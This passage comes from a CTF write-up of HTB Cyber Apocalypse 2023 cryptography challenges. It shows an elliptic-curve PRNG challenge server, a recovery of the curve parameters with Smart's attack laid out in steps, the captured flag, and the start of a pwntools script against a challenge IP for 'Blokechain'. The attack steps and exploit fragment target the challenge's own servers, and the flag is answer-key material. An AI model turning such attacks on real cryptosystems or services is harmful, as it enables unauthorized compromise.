&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">seed&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">mul1&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">seed&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">mul2&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">seed&lt;/span> &lt;span class="o">+&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">inc&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">mod&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">seed&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">seed&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">exp&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">mod&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">Relic&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="fm">__init__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">E&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">EllipticCurve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">GF&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">P&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">None&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">EP&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">None&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">prng&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">PRNG&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">setupPoints&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">x&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">x&lt;/span> &lt;span class="o">&amp;gt;=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="s1">&amp;#39;Coordinate greater than curve modulus&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">P&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">E&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">lift_x&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">Integer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">EP&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">P&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="s1">&amp;#39;Point not on curve&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Point confirmed on curve&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">P&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">P&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">nextPoints&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">seed&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">enc_seed&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">prng&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">rotate&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">P&lt;/span> &lt;span class="o">*=&lt;/span> &lt;span class="n">seed&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">EP&lt;/span> &lt;span class="o">*=&lt;/span> &lt;span class="n">enc_seed&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;New Points&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">EP&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">EP&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">P&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">P&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">menu&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Options:&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;1. Setup Point&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;2. Receive new point&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;3. Find true point&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">option&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&amp;gt; &amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">option&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">artifact&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Relic&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">setup&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">False&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">option&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">menu&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">option&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;1&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Enter x coordinate&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">x&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;x: &amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">artifact&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">setupPoints&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;Point confirmed on curve&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">setup&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">True&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">response&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">option&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;2&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">setup&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">artifact&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">nextPoints&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Response&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="n">response&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Configure origin point first&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">option&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;3&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">setup&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Input x,y&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Px&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;x: &amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Py&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;y: &amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">artifact&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">nextPoints&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">Px&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">Py&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;You have confirmed the location. It&lt;/span>&lt;span class="se">\&amp;#39;&lt;/span>&lt;span class="s1">s dangerous however to go alone. Take this: &amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">FLAG&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;The vessels will never be found...&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exit&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Configure origin point first&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Invalid option, sutting down&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exit&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span> &lt;span class="ne">Exception&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;An error occured: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">response&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exit&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;__main__&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">assert&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bit_length&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">256&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">main&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>So, for any \(i\neq j\), $$a \equiv \dfrac{Y_i^2-Y_j^2-X_i^3+X_j^3}{X_i-X_j} \pmod{p}$$&lt;/p>
&lt;p>Which means for any distinct \(i,j,k,l\), $$(Y_i^2-Y_j^2-X_i^3+X_j^3)(X_k-X_l)-(Y_k^2-Y_l^2-X_k^3+X_l^3)(X_i-X_j) \equiv 0 \pmod{p}$$&lt;/p>
&lt;p>So by playing with several $i,j,k,l$ and take GCD stuff, we obtain $$p=91720173941422125335466921700213991383508377854521057423162397714341988797837$$.&lt;/p>
&lt;p>Also, we can find \(a\) and \(b\) by consider the equation system $$Y_i^2-X_i^3=aX_i+b \text{ for }i=1,2$$.&lt;/p>
&lt;p>We get that $$a=57186237363769678415558546920636910250184560730836527033755705455333464722170$$, $$b=47572366756434660406002599832623767973471965640106574131304711893212728437629$$&lt;/p>
&lt;p>Now the important thing is to note that: \(|E/\mathbb{F}_p|=p\), thus we can easily solve the discrete log problem on \(E\) using &lt;code>Smart's attack&lt;/code>. In addition, we only need to consider the RNG in modulo \(p\).&lt;/p>
&lt;p>Back to the challenge, we see the challenge is almost equivalent: Given \(P,x^2\times P\), find \((ax^3+bx+C)\times P\). To do this, we need to find \(x\) .Fortunately, because the DL problem is easy, we can easily find \(x\). The attack is described as follow:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Let \(P\) be any point on the curve.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Let the current round be \(i\), we can use &lt;code>Option 2&lt;/code> to get the value \(r[i]^2\times P\). At this time, \(state.P=r[i]\times P\).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Use Smart&amp;rsquo;s attack to restore \(r[i]^2\), then restore \(r[i]\) with probability \(\dfrac{1}{2}\).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Calculate \(predict=ar[i]^3+br[i]+C \pmod{p}\).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Use &lt;code>Option 1&lt;/code> and enter the coordinate of \(P[1]\). This will set \(state.P=P\) and the next point will be equal to \(r[i+1]\times P\).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Enter &lt;code>Option 3&lt;/code> and enter the coordinates of \(predict\times P[1]\).&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>The attack has \(\dfrac{1}{2}\) probability of success because we have \(\dfrac{1}{2}\) probability of getting the right \(r[i]\). So by doing this multiple times, we get the flag.&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{0Racl3_AS_a_f3A7Ur3_0n_W3aK_CURV3_aND_PRN9??_7H3_s3cur17Y_0F_0uR_CRyP70Sys73M_w1LL_c0LLAp53!!!}&lt;/strong>&lt;/p>
&lt;h2 id="blokechain">Blokechain&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://github.com/sudo-rainman/ctf_script/tree/main/htb_cyberapocalypse2023/crypto_blokechain" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> After successfully locating the vessels and obtaining the relic, you and your team begin to strategize on how to destroy them. However, upon further examination, it becomes clear that the vessels are connected with advanced alien technology that simulates a blockchain. In order to destroy the pods, you realize that you need to possess the wealth of the entire galaxy. The fate of the Earth rests on your ability to find a solution to this seemingly impossible problem. Can you devise a plan to destroy the vessels and save humanity from their destructive power? Note: This challenge is not intended for beginners. It is an insane level of difficulty. Good luck and have fun!&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Cryptography&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Insane&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>This challenge has an unintended solution where you can just resubmit the hash, lmao. R.I.P overthinkers.&lt;/p>
&lt;p>Here is the script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pwn&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">r&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">remote&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;178.62.9.10&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">30794&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">total&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">while&lt;/span> &lt;span class="n">total&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">100000000&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;vessels&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;1&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;vessels&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
